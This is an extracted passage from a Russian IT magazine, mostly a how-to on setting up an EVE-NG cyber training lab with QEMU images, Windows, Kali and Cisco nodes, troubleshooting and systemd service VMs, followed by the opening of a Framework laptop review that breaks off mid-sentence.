чувст­ вит­ ельн­ а. Корн­ евая директ­ ория для  образ­ ов  — /opt/unetlab/addons/qemu/. В  качест­ ве прим­ ера расс­ мотр­ им созд­ ание свое­ го образ­ а на  базе дист­ ри‐­ бутив­ а Kali Linux. Для  этог­ о скач­ аем устан­ овочн­ ый образ kali-linux-2021. 2-installer-netinst-amd64.iso. 1. Созд­ ай директ­ орию на серв­ ере «Евы»: $ mkdir /opt/unetlab/addons/qemu/linux-kali/ 2. Пер­ енес­ и устан­ овочн­ ый образ kali-linux-2021.2-installer-netinst- amd64.iso на  серв­ ер «Евы» в  папк­ у /opt/unetlab/addons/qemu/linux- kali/. 3. Пер­ еимен­ уй устан­ овочн­ ый образ в cdrom.iso: $ mv kali-linux-2021.2-installer-netinst-amd64.iso cdrom.iso 4. Нах­ одясь в той же папк­ е, созд­ ай новый файл диск­ а HDD. В прим­ ере ука‐­ зан разм­ ер 30 Гбайт — ты можешь задать любой: $ /opt/qemu/bin/qemu-img create -f qcow2 virtioa.qcow2 30G 5. Созд­ ай или  открой лаборат­ орию через веб‑интерфейс, добавь новую ноду, подк­ люч­ ив ее к сети, если необх­ одимо наличие интернет­ а для уста‐­ новк­ и. 6. Зап­ уст­ и ноду, открой ее и прод­ олж­ ай проц­ есс устан­ овк­ и как обычн­ о. 7. Посл­ е заверш­ ения устан­ овк­ и перезагр­ узись и выкл­ ючи ноду изнутри стан‐­ дарт­ ным­ и средст­ вам­ и ОС, посл­ е чего удал­ и файл cdrom.iso. Есл­ и ты посм­ отришь на  разм­ ер файл­ а /opt/unetlab/addons/qemu/linux- kali/virtioa.qcow2, то увид­ ишь, что он не измен­ илс­ я и остался пуст­ ым. Разм­ ер базовог­ о образ­ а Это прои­ зошл­ о потому, что все измен­ ения в проц­ есс­ е работы ноды записы‐­ ваютс­ я в  отдельн­ ый файл по  пути /opt/unetlab/tmp/PodID/UUID/NodeID. Если ты сдел­ ал измен­ ения внутр­ и ноды, устан­ овил софт или  залил файл­ ы и хочешь эти измен­ ения внест­ и в базовый образ, то сдел­ ать это можн­ о спо‐­ собом, опис­ анн­ ым ниже. Внесение изменений в базовый образ 1. Выкл­ ючи ноду изнутри станд­ арт­ ным­ и средст­ вам­ и ОС, в  веб‑интерфейс­ е «Евы» щелк­ ни прав­ ой кнопк­ ой мыши на  ноде. В  кругл­ ых скобк­ ах ты уви‐­ дишь числ­ о. Это Node ID, запиши его — в нашем прим­ ере это 2. ID ноды 2. Слев­ а в меню открой пункт Lab Details и запиши ID, в этом прим­ ере — 6393e2df-501f-405c-b602-2e9a080f72f1. ID лаборат­ ории 3. Закр­ ой лабу и  перейд­ и в  Management/User Management. Найд­ и свое­ го польз­ овател­ я и  запиши его знач­ ение POD. У  админ­ а это  знач­ ение по умолч­ анию 0. 4. Пер­ ейд­ и по пути /opt/unetlab/tmp/PodID/UUID/NodeID, подс­ тав­ ив свои знач­ ения: $ cd /opt/unetlab/tmp/0/6393e2df-501f-405c-b602-2e9a080f72f1/2/ Как видишь, файл диск­ а с измен­ ения­ ми в этой папк­ е занимае­ т 3,1 Гбайт. Разм­ ер врем­ енн­ ого образ­ а 5. Вып­ олн­ и команд­ у, указ­ ав имя файл­ а диск­ а: $ /opt/qemu/bin/qemu-img commit virtioa.qcow2 Есл­ и все прошл­ о успешно, ты получишь сообщ­ ение Image comitted. Про‐­ верив файл­ ы, ты смож­ ешь убед­ итьс­ я, что измен­ ения из  врем­ енн­ ой папк­ и перее­ хал­ и в базовый образ. Обр­ аз перее­ хал Теп­ ерь при  включ­ ении ноды linux-kali любым из  польз­ овател­ ей будет заг‐­ ружатьс­ я файл базовог­ о образ­ а диск­ а. Это была инст­ рукц­ ия из офиц­ иальн­ ой документ­ ации, но  на практ­ ике ее использ­ ование вызывал­ о пробл­ емы, которые я опиш­ у далее. →Продолжение статьи

АДМИН ← НАЧАЛО СТАТЬИ СТРОИМ КИБЕРПОЛИГОН ИСПОЛЬЗУЕМ EVE-NG, ЧТОБЫ РАЗВЕРНУТЬ СЕТЬ ДЛЯ ХАКЕРСКИХ ИСПЫТАНИЙ СОЗДАЕМ СВОЮ ЛАБОРАТОРИЮ А теперь для  закр­ еплен­ ия материа­ ла мы с  тобой созд­ адим свою мини‑лаборат­ орию, использ­ уя полученн­ ые знан­ ия. Прост­ ая лаборат­ ория Наш­ а лаборат­ ория будет включ­ ать в себя след­ ующие комп­ онент­ ы. Сет­ и: • mgmt — для дост­ упа к Windows-ноде из «наст­ оящей» сети; • bridge — для орган­ изац­ ии сети L2 межд­ у трем­ я нодами. Обр­ азы: • linux-kali; • win-10-x86-20H2v4; • c3725-adventerprisek9-mz.124-15.T14. Цел­ и созд­ ания лаборат­ ории — демонст­ рац­ ия: • зап­ уск­ а разн­ ых ОС (Windows/Linux/IOS); • пар­ алл­ ельн­ ой работы разн­ ых эмул­ ятор­ ов (Dynamips и QEMU); • прост­ оты «пробр­ оса» ноды в «наст­ оящую» сеть; • прост­ оты созд­ ания соедин­ ений point-to-point; • пост­ рое­ ния сети L2 через объе­ кт «сеть» и через эмул­ яцию. Ну что, погн­ али? Открыв­ аем веб‑интерфейс, созд­ аем новую лаборат­ орию с помощью меню файл­ ового менедж­ ера, заполн­ яем необх­ одимые данн­ ые. Созд­ аем лаборат­ орию Щелк­ аем прав­ ой клав­ ишей мыши по рабочей области и выбирае­ м Add a new object — Network. Доб­ авл­ яем объе­ кт «сеть» Доб­ авл­ яем сеть в режиме мост­ а, Type — bridge. Сеть в режиме мост­ а Анал­ огичн­ о добавл­ яем сеть, но уже в режиме интерфейс­ а управлен­ ия Type — Management(Cloud0). Сеть в режиме управлен­ ия Дал­ ее мы будем добавл­ ять ноды анал­ огичн­ ым путем, как  и сети, но  вмест­ о объе­ кта network выбирае­ м node. Доб­ авл­ ение ноды Ты можешь начать писать назв­ ание венд­ ора и  сузить вывод результ­ атов. Но я бы рекоменд­ овал скрыть в списк­ е образ­ ы, которых у тебя нет в сист­ еме. Сдел­ ать это можн­ о след­ ующим образ­ ом: 1. Подк­ люч­ ись к «Еве» через SSH и перейд­ и в папк­ у /opt/unetlab/html/ includes/. 2. Пер­ еимен­ уй config.php.distributed в config.php: mv config.php.distribution config.php 3. При необх­ одимост­ и отред­ акт­ ируй файл config.php: <?php // TEMPLATE MODE .missing or .hided DEFINE('TEMPLATE_DISABLED','.hided') ; ?> Теп­ ерь при  добавл­ ении ноды ты будешь видеть тольк­ о те образ­ ы, которые есть в твое­ й сист­ еме. Доб­ авл­ ение ноды из имею­ щихс­ я образ­ ов Доб­ авим роутер Cisco IOS 3725 (Dynamips) и  в его перв­ ый слот помест­ им модуль NM-16ESW. Этот модуль служ­ ит для  реализ­ ации принц­ ипов ком‐­ мутации на марш­ рут­ изат­ оре. Доб­ авл­ ение марш­ рут­ изат­ ора Cisco с модулем комм­ утации Теп­ ерь добавим Windows, Kali и  VPCS с  той лишь разн­ ицей, что у  Windows- ноды будет три сетевых порт­ а. Доб­ авл­ ение Windows-ноды с трем­ я сетевым­ и порт­ ами Сое­ дин­ яем ноды согл­ асно тополог­ ии. Для  этог­ о наведи курс­ ор на  ноду, появитс­ я маленьк­ ая иконк­ а «сетевой вилк­ и». Нажав ее и  перемест­ ив курс­ ор на друг­ ую ноду, мы соедин­ им их вирт­ уальн­ ым патч‑корд­ ом. В Community-вер‐­ сии есть огран­ ичен­ ие: соедин­ яемые ноды долж­ ны быть предв­ арительн­ о вык‐­ лючены, так называе­ мый hot plug не работае­ т. Сое­ дин­ ение нод Зап­ уст­ им сраз­ у все наши ноды, перейд­ я в меню слев­ а и выбр­ ав More actions → Start all nodes. Зап­ уск всех нод одноврем­ енн­ о Кликн­ и на  иконк­ е роутер­ а, и  у тебя открое­ тся его конс­ оль. Нам необх­ одима лишь функ­ цио­ нальн­ ость комм­ утатор­ а, поэтом­ у мы не будем его наст­ раи­ вать, а  на вопр­ ос «Would you like to  enter the  initial configuration dialog? [yes/no]:» ответ­ им no. Роутер загр­ узитс­ я. Загр­ узка роутер­ а Cisco Теп­ ерь давай открое­ м нашу Windows-сист­ ему и наст­ рои­ м сетевые интерфей‐­ сы: • e0 — это твоя локальн­ ая сеть, адрес будет назн­ ачатьс­ я по DHCP; • e1  — изол­ иров­ анн­ ая подс­ еть, 172.16.1.1/24, шлюз и  DNS-серв­ ер не  ука‐­ зывае­ м; • e2  — изол­ иров­ анн­ ая подс­ еть, 10.0.0.1/24, шлюз и  DNS-серв­ ер не  ука‐­ зывае­ м. Наст­ ройк­ а сетевых интерфейс­ ов в Windows Как видишь, на интерфейс­ е e0 назн­ ачен адрес по DHCP и он из «наст­ оящей» сети. Теперь любые устройс­ тва в твое­ й локальн­ ой сети могут общатьс­ я с дан‐­ ной нодой. Пров­ ерим это, подк­ люч­ ивш­ ись со смарт­ фон­ а по RDP к нашей ноде. RDP со смарт­ фон­ а Теп­ ерь кликн­ ем по иконк­ е VPC1 и перейд­ ем в конс­ оль управлен­ ия. Наст­ рои­ м адрес команд­ ой ip 172.16.1.2, а  затем пинг­ анем нашу Windows-сист­ ему команд­ ой ping 172.16.1.1. Для  дополн­ ительн­ ой пров­ ерк­ и выведем ARP- табл­ ицу команд­ ой arp. Пров­ ерк­ а сетевой дост­ упност­ и с узла VPC1 Как видишь, связь межд­ у Virtual PC и  Windows-сист­ емой в  изол­ иров­ анн­ ой сети прис­ утст­ вуе­ т, MAC-адрес совп­ адае­ т. Теп­ ерь открое­ м Kali и  прод­ елае­ м анал­ огичн­ ые дейс­ твия: наст­ рои­ м сеть и пров­ ерим сетевую дост­ упность узла, но уже с помощью скан­ иров­ ания пор‐­ та 3389 при помощи Nmap. Скан­ иров­ ание порт­ ов Windows с Kali Порт открыт, и имее­ тся подр­ обная информац­ ия о  хост­ е. Пров­ ерять сетевую связн­ ость с  VPC2  и  VPC3  мы не  стан­ ем, они нам нужн­ ы лишь для  масс­ овки, чтоб­ ы показать, как  можн­ о добитьс­ я пост­ рое­ ния сети L2 (в которой больш­ е двух узлов), использ­ уя объе­ кт network и эмул­ яцию сетевог­ о обор­ удов­ ания. →Продолжение статьи

АДМИН ← НАЧАЛО СТАТЬИ СТРОИМ КИБЕРПОЛИГОН ИСПОЛЬЗУЕМ EVE-NG, ЧТОБЫ РАЗВЕРНУТЬ СЕТЬ ДЛЯ ХАКЕРСКИХ ИСПЫТАНИЙ ПРОБЛЕМЫ, РЕШЕНИЯ, ПОЛЕЗНЫЕ КОМАНДЫ Ошибки при commit: Co-routine re-entered recursively Aborted Можн­ о выполн­ ить команд­ у неск­ ольк­ о раз, посл­ е чего пров­ ерить на  ошибк­ и созд­ анный образ, либо использ­ овать аргум­ ент convert вмест­ о commit. Cиний экран и ошибки дисков в образах Windows Согл­ асно инст­ рукц­ ии из офиц­ иальн­ ой документ­ ации, для встраи­ ван­ ия изме‐­ нений в  базовый образ необх­ одимо использ­ овать аргум­ ент commit. Но  на практ­ ике получал­ ось так, что, если уже имелс­ я рабочий образ с  Windows и при комм­ ите не возн­ икало ошиб­ ок, так или инач­ е диск внутр­ и ВМ краш­ илс­ я, были падения с синим экран­ ом, а при скан­ иров­ ании станд­ арт­ ным­ и средст­ ва‐­ ми ОС (sfc /scannow) выявл­ ялись множ­ ест­ венн­ ые ошибк­ и. Решение­ м слу‐­ жит конв­ ертац­ ия в  новый образ, а  не комм­ ит в  базовый. Перед  этим необ‐­ ходимо перейт­ и в  каталог со  врем­ енн­ ым образ­ ом и  выполн­ ить след­ ующую команд­ у: $ /opt/qemu/bin/qemu-img convert -O qcow2 virtioa.qcow2 /path/ virtioa.qcow2.new Посл­ е чего след­ ует переи­ мен­ овать новый образ в базовый. Ошибка «failed to start node (12)» при включении ноды dynamips (сетевое оборудование) Эта ошибк­ а возн­ икае­ т в веб‑интерфейс­ е при включ­ ении ноды. По факт­ у нода включ­ аетс­ я и  работае­ т, но  не меняе­ тся ее стат­ ус в  веб‑интерфейс­ е. Можн­ о прод­ олж­ ить работу, а можн­ о прин­ удит­ ельн­ о убить такие проц­ есс­ ы и переза‐­ пуст­ ить их заново. Для этог­ о можн­ о использ­ овать след­ ующие команд­ ы. 1. Ком­ анд­ а отобр­ ажения всех проц­ есс­ ов пробл­ емной ноды dynamips, где цифр­ а в vunl0 — POD польз­ овател­ я: $ ps waux | grep vunl0 | grep \"nodename\" 2. Ком­ анд­ а заверш­ ения проц­ есс­ ов, где 1314, 1315, 1316, 1317 и  так далее — номера проц­ есс­ ов: $ kill -9 1314 1315 1316 1317 Отсутствие поддержки платформы QEMU и прочие ошибки при загрузке образа С такой пробл­ емой мы столк­ нул­ ись в  проц­ есс­ е разв­ ертыв­ ания McAfee DLP Prevent и Monitor. Образ при загр­ узке запуск­ ает скрипт, который опред­ еляе­ т сред­ у с помощью dmidecode и парс­ ит вывод. Мы можем измен­ ять информа‐­ цию в DMI-табл­ ицах на QEMU-сист­ емах x86_64 и aarch64. С помощью QEMU- опции smbios в  наст­ ройк­ ах ноды можн­ о измен­ ять множ­ ест­ во сист­ емных параметр­ ов, от  прои­ звод­ ител­ я биоса до  серийн­ ого номера шасс­ и. Те поля, которые чаще друг­ их прих­ одил­ ось менять, смотр­ и в табл­ ице ниже, а с полн­ ым списк­ ом можешь ознак­ омитьс­ я на GitHub. -smbios type=<type>,field=value[,...] -smbios type=0,vendor=VMware,version=1.2.3 Тип Пол­ е SMBIOS Назв­ ание 0 vendor BIOS vendor 1 manufacturer Manufacturer 1 product_name Product name Для быст­ рог­ о решения можн­ о перебр­ ать неск­ ольк­ о знач­ ений из след­ ующей табл­ ицы. Венд­ ор BIOS Знач­ ение vmware VMware xen <Xen> qemu QEMU BIOS или Bochs ms hyper-v Microsoft Corporation Virtual Machine Есл­ и же это не помогл­ о, необх­ одимо найт­ и скрипт, который опред­ еляе­ т плат‐­ форму. Сдел­ ать это можн­ о, поиск­ ав с помощью команд­ ы grep текст ошибк­ и по всем файл­ ам внутр­ и ISO. Иногд­ а венд­ ор делае­ т свой initrd, внутр­ и которо‐­ го находитс­ я нужн­ ый скрипт, его можн­ о расп­ аковать с помощью 7-Zip. Посл­ е этог­ о в  скрипт­ е нужн­ о найт­ и функ­ цию опред­ елен­ ия платф­ ормы, напр­ имер вызов dmidecode, парс­ инг вывода и  необх­ одимые параметр­ ы, которые могут быть как конк­ ретн­ ыми знач­ ения­ ми, так и регулярн­ ыми выраже‐­ ниями. Ну а  дальш­ е прост­ о подс­ тавь эти знач­ ения в  опцию smbios. Если в знач­ ении встреч­ аетс­ я запятая, то нужн­ о использ­ овать ,,. Втор­ ой пробл­ емой было использ­ ование диск­ ов в форм­ ате PVSCSI. Такие диск­ и по  умолч­ анию не  подд­ ержив­ аютс­ я, но  это легк­ о прав­ итс­ я в  файл­ е / opt/unetlab/html/includes/__node.php. Прим­ ерн­ о на  1000-й строчк­ е идет блок кода, добавл­ яющий диск­ и: // Adding disks foreach(scandir('/opt/unetlab/addons/qemu/'.$this -> getImage()) as $filename) { if ($filename == 'cdrom.iso') { // CDROM $flags .= ' -cdrom /opt/unetlab/addons/qemu/'.$this -> getImage().'/ cdrom.iso'; } else if (preg_match('/^megasas[a-z]+.qcow2$/', $filename)) { ... В этот блок необх­ одимо было добавить новое услов­ ие с  регулярк­ ой по PVSCSI и корр­ ект­ ным­ и опция­ ми: else if (preg_match('/^pvscsi[a-z]+.qcow2$/', $filename)) Проц­ есс­ ор тоже можн­ о менять, для  этог­ о использ­ уетс­ я опция cpu. Спис­ ок дост­ упных знач­ ений можн­ о посм­ отреть с помощью след­ ующей команд­ ы: $ qemu-system-x86-64 -cpu help В больш­ инст­ ве случ­ аев можн­ о использ­ овать в  ВМ проц­ есс­ ор серв­ ера с помощью директ­ ивы -cpu host. Полезные команды Инф­ ормац­ ия об образ­ е: $ /opt/qemu/bin/qemu-img info virtioa.qcow2 Пров­ ерк­ а на ошибк­ и в образ­ е: $ /opt/qemu/bin/qemu-img check virtioa.qcow2 Поч­ инить образ: $ /opt/qemu/bin/qemu-img check -r all virtioa.qcow2 А еще образ­ ы можн­ о сжим­ ать в разм­ ере, но тут надо найт­ и баланс. Сжат­ ый образ занимае­ т меньш­ е мест­ а, но  треб­ ует больш­ е ресурс­ ов CPU, чем нес‐­ жатый: $ virt-sparsify -compress virtioa.qcow2 compressedvirtioa.qcow2 Со врем­ енем образ­ ы диск­ ов могут занимать больш­ е мест­ а, чем по  факт­ у использ­ уетс­ я внутр­ и ВМ. Это прои­ сход­ ит потому, что удал­ енн­ ые данн­ ые лишь помечаю­ тся таковым­ и, но  по факт­ у не  удал­ яютс­ я. Для  борьб­ ы с  этим явле‐­ нием уже прид­ уман­ о реш­ ение. Все остальн­ ые станд­ арт­ ные пробл­ емы и  пути их решений смотр­ и в  FAQ или док­ умент­ ации, опубл­ икованн­ ой на офиц­ иальн­ ом сайт­ е «Евы». ЗАПУСК СЕРВИСНОЙ ВМ Предп­ оложим, тебе потр­ ебуе­ тся на том же серв­ ере «Евы» крут­ ить ВМ, но без включ­ ения какой‑либо лабы. Такие вирт­ уалк­ и обычн­ о созд­ аютс­ я в серв­ исных целях, напр­ имер в  качест­ ве VPN-серв­ ера для  удал­ енн­ ого подк­ люч­ ения к «Еве». В данн­ ой инст­ рукц­ ии я покажу, как это сдел­ ать. 1. Подг­ отовь образ вирт­ уалк­ и, можешь сдел­ ать это прям­ о в лабе. 2. Скоп­ ируй готовый образ в новую папк­ у, напр­ имер в /opt/svm/*. 3. Созд­ ай файл служб­ ы, использ­ уя путь /etc/systemd/system/qemu@. service. Заметь, что имя вида [email protected] даст возм­ ожность запус‐­ кать неск­ ольк­ о ВМ через одну служб­ у: [Unit] Description=QEMU Service VM [Service] Environment=\"haltcmd=kill -INT $MAINPID\" EnvironmentFile=/etc/conf.d/qemu.d/%i ExecStart=/opt/qemu-2.12.0/bin/qemu-system-x86_64 -name %i $args ExecStop=/usr/bin/bash -c ${haltcmd} ExecStop=/usr/bin/bash -c 'while nc localhost 7100; do sleep 1; done' ExecStop=/bin/sh -c \"echo system_powerdown | nc -U /run/qemu/ %I-mon.sock\" [Install] WantedBy=multi-user.target 4. Теп­ ерь необх­ одимо созд­ ать новый сетевой интерфейс для ВМ и добавить его в мост, чтоб­ ы ВМ была дост­ упна напр­ ямую. Для начала пров­ ерь, есть ли у тебя уже какие‑то интерфейс­ ы tap: $ ip a | grep tap Созд­ ай новый интерфейс tap1, если такого еще нет: $ tunctl -t tap1 -u `whoami` Доб­ авь новый интерфейс tap1 к мост­ у pnet0: $ brctl addif pnet0 tap1 Выв­ еди табл­ ицу мост­ ов и  интерфейс­ ов и  посм­ отри спис­ ок интерфейс­ ов, которые вход­ ят в мост pnet0: $ brctl show Включ­ и новый интерфейс: $ ip link set dev tap1 up 5. Созд­ ай файл по пути /etc/conf.d/qemu.d/svm, опис­ ываю­ щий ВМ: args=\"-device e1000,netdev=net0,mac=50:00:00:22:22:22 -netdev tap, id=net0,ifname=tap1,script=no -smp 1 -m 2048 -drive file=/opt/svm/ virtioa.qcow2,if=virtio,bus=0,unit=0,cache=none -machine type=pc, accel=kvm -cpu qemu64,+fsgsbase -vga std -usbdevice tablet -monitor telnet:localhost:7100,server,nowait,nodelay -vnc :0\" haltcmd=\"echo 'system_powerdown' | nc localhost 7100\" 6. Вып­ олн­ и команд­ у $ systemctl daemon-reload 7. Теп­ ерь вирт­ уалк­ у можн­ о запуск­ ать, остан­ авл­ ивать и добавл­ ять в автоз­ аг‐­ рузку, использ­ уя станд­ арт­ ный systemctl: $ systemctl enable qemu@svm $ systemctl start qemu@svm $ systemctl status qemu@svm $ systemctl stop qemu@svm Есл­ и потр­ ебуе­ тся сдел­ ать еще  одну ВМ, повт­ ори шаги  4  и  5, корр­ ектир­ уя соотв­ етст­ вую­ щие знач­ ения. INFO Опц­ ии и знач­ ения наст­ рое­ к QEMU могут разн­ ить‐­ ся в  зависим­ ост­ и от  ОС, но  самые важн­ ые, которые необх­ одимо прив­ ест­ и в соотв­ етст­ вие, — след­ ующие: •mac  — уник­ альн­ ый MAC-адрес сетевой карт­ ы ВМ; обрат­ и вним­ ание, что перв­ ая половин­ а долж­ на иметь знач­ ение 50:00:00; •ifname — созд­ анный в шаге 4 интерфейс; •smp — количест­ во ядер; •m — количест­ во памяти; •drive file — путь к образ­ у. ДОКУМЕНТИРОВАНИЕ Для того чтоб­ ы связ­ анн­ ые с  полигон­ ом проц­ есс­ ы были понятн­ ы и  управля‐­ емы, с  самого начала велась документ­ ация. Наибол­ ее важн­ а документ­ ация, касаю­ щаяся образ­ ов, она включ­ ает в себя след­ ующие пунк­ ты: • спис­ ок всех образ­ ов и их конф­ игурац­ ии; • конф­ игурац­ ия ОС; • спис­ ок использ­ уемог­ о софт­ а; • спис­ ок ISO-образ­ ов. Спис­ ок образ­ ов и их конф­ игурац­ ий Конф­ игурац­ ия ОС Пом­ имо этог­ о, ведетс­ я внутр­ енняя база знан­ ий по  выявл­ енным пробл­ емам и спос­ обам их решений, часть из которых была опис­ ана выше. Дополн­ итель‐­ но для некотор­ ых венд­ орных решений были созд­ аны каст­ омные лаборат­ ории и  гайд­ ы по  разв­ ертыв­ анию и  наст­ ройк­ е в  стил­ е hands-on fasttrack для  внут‐­ реннег­ о использ­ ования. ИТОГИ С помощью платф­ ормы EVE-NG нам опред­ еленн­ о удал­ ось дост­ ичь наших целей. Сейч­ ас обуч­ ение инжен­ еров прои­ сход­ ит горазд­ о эффективн­ ее, дизайн всех лаборат­ орий — модульн­ ый, открыв­ ай готовую и меняй лишь вен‐­ доров. Раньш­ е было пробл­ ематичн­ ым пред­ ост­ авлять дост­ уп к  решения­ м для  таких клие­ нтов, которые любят поэкс­ пер­ имент­ ировать с  вирт­ уалк­ ами самост­ оятельн­ о. Теперь же дост­ уп можн­ о давать без  опас­ ений, гибк­ ость веб‑интерфейс­ а открыв­ ает возм­ ожность клие­ нтам самост­ оятельн­ о про‐­ верять любой сцен­ арий в готовой инфраструкт­ уре.

GEEK Евгений Зобнин Редактор Unixoid и Mobile [email protected] FRAMEWORK МОДУЛЬНЫЙ НОУТБУК С ПРАВОМ НА РЕМОНТ, АПГРЕЙД И МОДИФИКАЦИЮ Есть вещи, которые меняю­ т прив­ ычн­ ый нам мир: iPhone, переверн­ увший предс­ тавл­ ение о  том, каким долж­ ен быть телефон; Tesla, пересозд­ авшая автом­ обиль с  нуля; Go Pro, открывш­ ая человеч­ ест­ ву соверш­ енно новый вид конт­ ента. Модульн­ ый ноутб­ ук Framework, конечн­ о, не смож­ ет наст­ оль‐­ ко глоб­ альн­ о сдвин­ уть мир, но  пошатн­ уть устоя­ вшийс­ я рынок ноутб­ уков он вполн­ е спос­ обен. Совр­ еменн­ ый рынок ноутб­ уков мало похож на тот, каким он был еще десять лет назад. Даже бренд­ ы, когд­ а‑то слав­ ивш­ иеся макс­ имальн­ о надежн­ ыми и  ремонт­ оприг­ одн­ ыми моделям­ и, теперь клеп­ ают беск­ онечн­ ые клон­ ы мак‐­ буков с  впая­ нной опер­ ативн­ ой памятью, вклее­ нной батарее­ й, широким и неудобн­ ым для работы экран­ ом. И если сред­ и «полн­ оформ­ атных» ноутб­ уков еще можн­ о найт­ и хоть что‑то, что созд­ али инжен­ еры стар­ ой школ­ ы, то сред­ и моделей с  13,5-дюйм­ овым экран­ ом выбора факт­ ическ­ и нет: либо однор­ азов­ ая игрушка с  16  Гбайт памяти, либо... ничего. И вот сред­ и всег­ о этог­ о унын­ ия в начале 2021 года появл­ яетс­ я Framework. На  тот момент он сущест­ вуе­ т тольк­ о в  план­ ах, но  обещ­ ания у  ребят впеч­ ат‐­ ляющие: наст­ оящий модульн­ ый ноутб­ ук, в котором ничего не впая­ но, все ком‐­ понент­ ы легк­ о заменяю­ тся и могут быть проа­ пгрейж­ ены без потери гарант­ ии. Framework долж­ ен был стать не  прост­ о ремонт­ оприг­ одн­ ым, как  стар­ ые IBM или Lenovo ThinkPad, а конст­ рукт­ ором, с легк­ о смен­ яемым­ и модулям­ и и воз‐­ можностью апгрейд­ а на новые проц­ есс­ оры. Я сдел­ ал предз­ аказ сраз­ у, как  тольк­ о появил­ ась такая возм­ ожность, и получил ноутб­ ук в середин­ е августа в числ­ е перв­ ых. Теперь я могу расс­ ка‐­ зать, дейс­ твит­ ельн­ о ли все так хорошо, как на карт­ инках. WARNING Это не рекл­ амный материа­ л. Комп­ ания Framework не  плат­ ила ни  автор­ у, ни  редакц­ ии. Ноутб­ ук был купл­ ен по личн­ ой иниц­ иатив­ е автор­ а статьи. FRAMEWORK Итак, Framework — 13,5-дюйм­ овый лэпт­ оп, в данн­ ый момент дост­ упный толь‐­ ко жителям США и  Канады (а такж­ е тем, кто умее­ т польз­ оватьс­ я услуг­ ами пересыльщ­ иков). Пост­ авляе­ тся в трех конф­ игурац­ иях: • Base — i5 (11-й серии), 8 Гбайт RAM, 256 Гбайт SSD; • Performance — i7, 16 Гбайт RAM, 512 Гбайт SSD; • Professional — i7 vPro, 32 Гбайт RAM, 1 Тбайт SSD. Плюс особ­ ая конф­ игурац­ ия DIY, где можн­ о заказать комп­ лект­ ующие по  сво‐­ ему вкус­ у и все они прид­ ут в свои­ х собст­ венн­ ых заводс­ ких упак­ овк­ ах вмест­ е с  отверт­ кой для  вскрыт­ ия ноутб­ ука. Именн­ о такую конф­ игурац­ ию я и  взял, выбр­ ав скромн­ ый i5  в  качест­ ве проц­ есс­ ора (в ноутб­ уках i7  обычн­ о сильн­ о тротл­ ится и не раск­ рыв­ ает свой потенц­ иал), 32 Гбайт опер­ ативк­ и одной план‐­ кой и  SSD WD BLACK на  512  Гбайт. Обошл­ ось все это  в  1115  долл­ аров + 200 долл­ аров за таможенн­ ое оформ­ лен­ ие и пересылк­ у. В каком виде все это пришл­ о, можн­ о увид­ еть на изобр­ ажении ниже. Полн­ ый комп­ лект Framework DIY Edition Комп­ лект: • ноу­ тбук в собст­ венн­ ой коробк­ е; • отд­ ельн­ ая коробк­ а с USB-зарядн­ иком; • два бумажн­ ых пакета с комп­ лект­ ующим­ и и модулям­ и расш­ ирения. Внутр­ и коробк­ и с ноутб­ уком сраз­ у находим отверт­ ку и бесп­ олезн­ ую инст­ рук‐­ цию («наст­ оящая» инст­ рукц­ ия с пошагов­ ым руководст­ вом в стил­ е iFixit лежит на сайт­ е). Отв­ ерт­ ка и мануа­ л Дал­ ее дост­ аточн­ о раск­ рут­ ить пять болт­ ов Torx T5 на нижн­ ей крышк­ е (не бес‐­ покойс­ я, они не выпадут из корп­ уса), и верх­ няя панель корп­ уса с клав­ иатур­ ой легк­ о сним­ етс­ я, обесп­ ечивая дост­ уп ко всем внутр­ енност­ ям ноутб­ ука. Посл­ е снят­ ия клав­ иатур­ ы Ник­ аких защелок тут нет, верх­ няя часть корп­ уса держ­ ится на магн­ итах и сни‐­ маетс­ я с  прил­ ожен­ ием очень небольш­ ого усил­ ия. Шлейф клав­ иатур­ ы такж­ е дост­ аточн­ о длинн­ ый, чтоб­ ы с  комф­ ортом отсое­ дин­ ить его вручн­ ую (а не выдерн­ уть из порт­ а при открыв­ ании, как в больш­ инст­ ве друг­ их ноутб­ уков). Уст­ ановить дополн­ ительн­ ые комп­ онент­ ы легк­ о. Почт­ и все внутр­ енност­ и ноутб­ ука находятс­ я на  одном уровн­ е (не перекр­ ываю­ т друг друг­ а), а  мест­ а расп­ оложен­ ия комп­ онент­ ов заботл­ иво подп­ исаны. Единст­ венн­ ый вопр­ ос, возн­ икший при  устан­ овк­ е комп­ онент­ ов,  — в  какой посл­ едоват­ ельн­ ост­ и под‐­ ключ­ ать антенные пров­ ода к  адапт­ еру Wi-Fi (белый и  черн­ ый). Со  всем остальн­ ым справ­ итс­ я и ребенок. МОДУЛИ РАСШИРЕНИЯ Итак, комп­ онент­ ы устан­ овл­ ены. Закр­ учивае­ м болт­ ы обратно (никаких пломб я не нарушил, их тут прост­ о нет) и... нет, не включ­ аем, а устан­ авл­ ивае­ м модули расш­ ирения. Дел­ о в том, что по дефолт­ у в этом ноутб­ уке нет ни порт­ ов USB, ни HDMI, ни  карт­ рид­ ера. Все это  добавл­ яетс­ я с  помощью устан­ овк­ и так называе­ мых expansion cards в спец­ иальн­ ые углублен­ ия в нижн­ ей част­ и корп­ уса. Слот­ ы для модулей расш­ ирения Так­ ие карт­ очки (я все‑таки буду прод­ олж­ ать называть их модулям­ и рас‐­ ширения) бываю­ т неск­ ольк­ их видов: • порт USB-A; • порт USB-C; • HDMI-порт; • DisplayPort; • SSD; • карт­ рид­ ер. Прич­ ем USB-C надо взять как  минимум один, инач­ е банальн­ о некуда будет вотк­ нуть зарядк­ у. Остальн­ ое по свое­ му выбору, в моем случ­ ае это еще один USB-C и два USB-A (да, мне не нужн­ ы HMDI и карт­ рид­ еры). Мод­ ули расш­ ирения Втык­ аютс­ я модули по два с кажд­ ой из стор­ он ноутб­ ука. Для снят­ ия дост­ аточ‐­ но подд­ еть модуль ногт­ ем и  вытянуть его, удерж­ ивая кнопк­ у в  нижн­ ей част­ и корп­ уса (по одной на кажд­ ые два слот­ а). Вставл­ енные, они не люфт­ ят, но для извлеч­ ения надо прил­ ожить опред­ еленн­ ые усил­ ия. Уст­ рое­ ны такие модули крайн­ е прост­ о: с  той стор­ оны, которая втык­ аетс­ я в корп­ ус ноутб­ ука, находитс­ я вполн­ е обычн­ ый USB Type-C штек­ ер, так что все эти модули, по сути, переходн­ ики с чего‑то на USB-C. Менять их можн­ о прям­ о во врем­ я работы. Диз­ айн модулей отк­ рыт, поэтом­ у их разр­ аботк­ ой может заниматьс­ я любой желаю­ щий. На  офиц­ иальн­ ом форуме Framework спуст­ я всег­ о месяц посл­ е начала отправк­ и ноутб­ уков уже можн­ о найт­ и готовые (рабочие) прое­ 